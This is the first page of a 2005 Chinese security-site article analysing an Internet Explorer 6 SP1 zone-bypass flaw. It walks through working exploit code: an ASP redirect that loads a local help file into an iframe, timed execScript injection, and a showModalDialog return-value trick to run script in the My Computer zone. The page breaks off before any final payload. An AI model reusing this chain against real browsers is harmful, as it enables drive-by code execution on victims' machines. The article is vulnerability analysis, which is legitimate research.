| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 安全防御 >> 病毒分析 >> 文章正文 用户登录 新用户注册
  IE6sp1 showModalDialog方法远程文件下载执行漏洞分析         ★★★ 【字体:
IE6sp1 showModalDialog方法远程文件下载执行漏洞分析
作者:czy    文章来源:http://czy82.mblogger.cn/    点击数:    更新时间:2005-2-19    

作者:czy  http://czy82.mblogger.cn/

最近大半年IE一连出了好几个漏洞,其中最严重也是现在网页木马利用最多
的一个当属IE Object Data的漏洞了.可这已经是去年8月份就公布的.只要打了
Q822925就能补上了,所以我一直在找一个能对付Q822925的新洞洞并好好分析一下.
    终于机会来了,几天前我去绿盟(nsfocus.com)看贴子,注意到IE又出了个新洞
洞,文章标题是Microsoft Internet Explorer Modal Dialog区域绕过漏洞,绿盟对这个
洞洞的描述大意是:Microsoft Internet Explorer存在漏洞允许跨区域访问,远程攻击
者可以利用这个漏洞在本地电脑区域中执行恶意脚本。攻击者可以构建传递一个动态建立的
IFrame给Modal Dialog对象,并且这个对象调用通过Windows Script Encoder (screnc.exe)
编码,诱使用户打开时,可造成以客户权限在本地域上下文执行恶意脚本,包括下载安装恶意程序。
这个漏洞也可导致访问外部域属性,允许其他类型的攻击如获得攻击者选择的敏感或私有信息。
    看来这的确是一个大洞洞哦,还好没有多少人注意到这个洞洞,而文章中又给出了一篇老
外写的分析名字叫:对Ilookup木马的分析(An analysis of the Ilookup Trojan)(http://62.131.86.111/analysis.htm)
代码都在这儿了还不分析做什么呢?本来以为分析会比较简单的因为代码都是现成的,但具体
分析后才发现不少问题.所以下面的分析基于我自已的代码.

测试系统:win2000 pro sp4+ie6 sp1+Q822925



下面我就根据漏洞的利用思路一步步介绍:
第一步:
在网页中产生一个IFRAME并且内容为本地文件看到这句可能大家会想到:
<IFRAME ID=myiframe NAME=myiframe SRC="ms-its:C:\WINnt\Help\iexplore.chm::/iegetsrt.htm" WIDTH=200 HEIGHT=200></IFRAME>
把如下代码存在iframe.htm中在本地浏览显示如下:(图iframe1.bmp)
这说明本地html文件可以通过IFRAME仿问本地的其它文件因为他们都属于"本地电脑区域".

把这个iframe.htm存放在服务器上试试:(图iframe2.bmp)
这说明网页文件通过IFRAME不能仿问本地的文件因为他们一个属于"本地电脑区域"一个是"internet区域",而IE的安全设置为
不能对不同区域的文件进行仿问.

怎么办呢这儿有一个最新的跨域仿问洞洞:老外的代码如下:
<IFRAME ID=myiframe NAME=myiframe SRC="redir.php" WIDTH=200 HEIGHT=200></IFRAME>
下面是redir.php的代码
<% Thread.sleep(1500);
   response.setStatus(302);
   response.setHeader("Location", "URL:ms-its:C:\\WINNT\\Help\\iexplore.chm::/iegetsrt.htm");
%>

看看老外是如何发现这个洞洞的:
2002年9月有个老外发现了一个洞洞通过
response.setHeader("Location", "ms-its:C:\\WINNT\\Help\\iexplore.chm::/iegetsrt.htm");
这样的代码就可以在网页中仿问本地资源了,但是IE6SP1补上了这个洞洞.不过在ms-its:前面加上个URL标识就又可以仿问了.

我把代码改成ASP的如下:
----------------re.asp------------
<%
TimeIt(4)
Response.Status = "302"
Response.AddHeader "Location","URL:ms-its:C:\WINNT\Help\iexplore.chm::/iegetsrt.htm"

Function TimeIt(N)
   StartTime = Timer
do while endtime-starttime<n
   EndTime = Timer
loop
End Function

%>
-------------------end-------------

其中Response.Status是设置服务器要响应的状态行的值。Response.status="状态描述字符串",
字符串可以为一个三位整数或一串说明文字组成,但必须防在<html>之前。这儿只能是302

Response.AddHeader是设置HTTP的头字段.

重新写一个叫iframe2.htm的文件内容如下:
<IFRAME ID=myiframe NAME=myiframe SRC="http://192.168.0.18/re.asp" WIDTH=200 HEIGHT=200></IFRAME>
执行后如图iframe3.bmp怎么样现在我们就跳过了IE6SP1的安全限制.成功的在internet区域的文件中加入了一个
"我的电脑区域"的文件.

第二步:
众所周之我的电脑区域中的网页代码的安全限定要小得多,现在我们要做的就是如何把我们的代码"注入"到我的电脑区域中
并且执行它们.这儿老外利用了第二个洞洞就是标题中的showModalDialog方法远程文件下载执行漏洞.

先来看看下面的代码:(代码较为复杂请细细阅读)

-------------------------show.htm-------------
<script language="Javascript">

    function InjectedDuringRedirection(){
    var bbb="i am czy";
    aaa= {h : bbb};
      showModalDialog('modold.htm',aaa,"dialogTop:500\;dialogLeft:200\;dialogHeight:1\;dialogWidth:1\;")
    }
    
</script>


<script language="javascript">
    
    setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);  //生成函数代码toStirng()得到代码
    setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",110);        //调用函数
    document.write('<IFRAME ID=myiframe NAME=myiframe SRC="http://192.168.0.18/re.asp" WIDTH=200 HEIGHT=200></IFRAME>');
    
</script>

-------------------------end------------------

---------------------mdold.htm-----------------
<script>document.write(window.dialogArguments.h);</script>
---------------------end-----------------------


注意包含本地电脑区域文件的IFRAME叫myiframe.
首先网页利用document.write 成生这个IFrame,然后调用setTimeout隔0.1秒在myiframe中执行execScript方法.

这儿要注意的是如果我们把show.htm和modold.htm放在本地执行将出现两处提示说拒绝仿问.不过我们把setTimeout
的值改大点就行了.但是这样在网站上又将出现"拒绝仿问"的提示.所以后面我所有的测试均在网站上测试本地不再考虑了.
另外还要说明的是:re.asp刚开始执行的时候必须有一个延时,否则仍然会提示"拒绝仿问"!!!
----------------begin--------
TimeIt(4)          '调用自定义函数延时4秒

Function TimeIt(N)
   StartTime = Timer          '得到函数开始执行时的时间
do while endtime-starttime<n  '当现在的时间减函数开始执行时的时间大于n(也就是要延时的时间)时结束
   EndTime = Timer
loop
End Function
-----------------end---------

刚才说到在myiframe中调用execScript第一次调用时参数是InjectedDuringRedirection.toString()等于是在iegetsrt.htm中生成
如下代码:
function InjectedDuringRedirection(){
    var bbb="i am czy";
    aaa= {h : bbb};
      showModalDialog('modold.htm',aaa,"dialogTop:500\;dialogLeft:200\;dialogHeight:1\;dialogWidth:1\;")
    }
    
    第二次调用参数为InjectedDuringRedirection()就等于调用了刚才生成的代码.
(toString的具体介绍请参见MSDN)

把上面的代码放在网站中测试.我们会看到一个模态网页框弹了出来.图mod1.bmp
这儿好象能说明我们的代码在本地文件iegetsrt.htm中注入成功.不过注意模态网页的状态栏显示的区域仍然是internet失望了吧.
看来IE的洞洞还不是那么好找的.到底是怎么回事呢?我是这样猜想的?
   先生成了myiframe它的src是由re.asp生成的而且故意延时了4秒.然后在src中的本地文件还没有加载的时候代码被注入到了其中.
这时IE将做安全检查因为src还没有被加载所以myiframe的属性还是internet区域,当然我们的代码肯定就能被注入.这也就能解释
为什么把setTimeout设为5秒后为什么会提示"拒绝仿问"了.
   所以到现在为止我们在modold.htm中的代码的执行权限还是在"internet区域"中,我们还没有突破ie的执行限制.换句话说就是
我们试图在modold.htm中加载一些恶意代码是没有用的.但为什么老外最后解决了这个问题呢?慢慢看吧,it's a very acumen code.    


先来看看showModalDialog方法的的第二个参数.MSDN中说明如下:
使用这个参数可以传输任何格式的值给对话框,对话框通过window.dialogArguments可以得到传过来的值

老外传了一个window过去.这个window也就是myiframe

showModalDialog('md.htm',window,"resizab.......................).location=".............."

新的模态对话框代码如下:


-------------------md.htm--------------------
<SCRIPT language="javascript">
    window.returnValue = window.dialogArguments;
    
    function CheckStatus(){
      try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
      setTimeout("CheckStatus()",100);
    }
    
    CheckStatus();
    
</SCRIPT>
---------------------end---------------------

再来看看模态对话框的一个专有属性window.returnValue MSDN中说明如下:
当模态对话框关闭的时候通过设置returnValue这样打开这个模态对话框的主窗口得
就能得到返回的值.下面我举个简单的例子:
---------------------fa.htm----------------
<script>
b();
function a()
{
var str;
str=showModalDialog('abc.htm',window,"dialogHeight:300px; dialogLeft:200px;")
document.write (str);
}

function b(){
setTimeout("window.execScript('a();a.toString()');",100);
}

</script>
-----------------------end------------------------

-----------------------abc.htm-------------------
<script>
c();
function c()
{
window.returnValue ="i am return";
document.write(window.dialogArguments.location);
}
</script>
-----------------------end-----------------------

执行fa.htm后打开abc.htm,关闭abc.htm后在fa.htm中将打出"i am return"
现在就好理解些了.再来看老外的代码吧:

window.returnValue = window.dialogArguments;
把showmodaldialog的返回值也设为window,同时在设置location为一个新的值.
或许说
    showModalDialog('md.htm',window,"resizab.......................).location=".............."
    也可以改成:
   showModalDialog('md.htm',window,"resizab.......................)
   然后md.htm中的returnvalue改为下面的代码:
   window.returnValue = window.dialogArguments.location="................";
   
还有一个问题就是对话框什么时候关闭呢?老外代码如下:
  function CheckStatus(){
      try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
      setTimeout("CheckStatus()",100);
    }
    CheckStatus();
    
每隔0.1秒检查一下myiframe的location.href的值,当本地文件加载成功后myiframe的域将改变这时将发生一个
安全异常,这时就会执行到catch里的代码window.close
好了当模态对话框架关闭后myiframe的安全属性也就是"我的电脑区域"!由于我们的返回值是改变这个myiframe
的location属性那么这儿就可以注入我们的代码啦.
为什么?其实改变myiframe的location属性也就等于在IE的地址栏输入代码一样比如说我们可以在IE的地址栏
输入javascript:'<b>i am czy</b>'

聪明的你可能想到了现在myiframe的安全属性是"我的电脑区域"那么在里面执行代码应该也就能突破IE的安全限制了
真的能行吗?我试了不行哈.为什么不行呢?我想可能是因为IE对在location里面执行的代码做了专门的限制,但是我们可以
先通过location里面的脚本语句再注入一个iframe到myiframe中间去,然后再注入恶意代码.
为什么通过location可以注入代码到myiframe中去呢?因为locatoin是myiframe中的一个属性嘛.
location

[1] [2] 下一页

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    破解Session cookie的方法
    浏览器市场IE份额跌至63.9% 
    不怕被钓鱼 关掉IE 7反钓鱼功
    轻轻松松铲除恶意网站 实战I
    安全专家:Web 2.0站点的coo
    永远不怕IE主页被修改
    IE仍然是过去影响力最高的科
    Firefox和IE曝严重安全漏洞 
    IE和Firefox混着用易遭黑客攻
    请小心你的IE浏览器主页被恶
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.